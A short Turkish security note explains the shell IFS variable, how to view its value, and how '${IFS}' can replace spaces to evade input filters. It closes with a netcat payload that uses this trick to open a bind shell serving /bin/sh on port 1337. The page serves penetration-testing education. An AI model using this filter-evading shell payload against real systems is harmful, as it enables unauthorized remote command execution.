> For the complete documentation index, see [llms.txt](https://security.musana.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security.musana.net/linux/ifs.md).

# IFS

IFS kullanılan shell(kabuğun) bir kelimenin nerde bağlayıp, bittiğini anlamak için kullanılmaktadır. Varsayılan değeri \<boşluk>\<tab>\<yeni satır> 'dır. Bu ifadenin sahip olduğu değere bağlı olarak kullandığımız shell kelimeleri nerden ayıracağını belirleyebilir.

`echo "$IFS" | cat -vte komutu ile bunları printable olarak görebiliriz.`

veya aşağıdaki ifade de non-printable olan karakterleri görebilmemizi sağlar.

`printf "%q" "$IFS"`

`IFS ifadesi aynı zamanda komutları veya komut ile parametreyi birbirinden ayırmak içinde kullanılabilir. Örneğin aşağıdaki komut pek ala çalışacaktır.(space karakterinin filtreli olduğu yerlerde bu yöntem kullanılarak bypass işlemi yapılabilir.)`

```
nc${IFS}-l${IFS}-p1337${IFS}-e/bin/sh
```
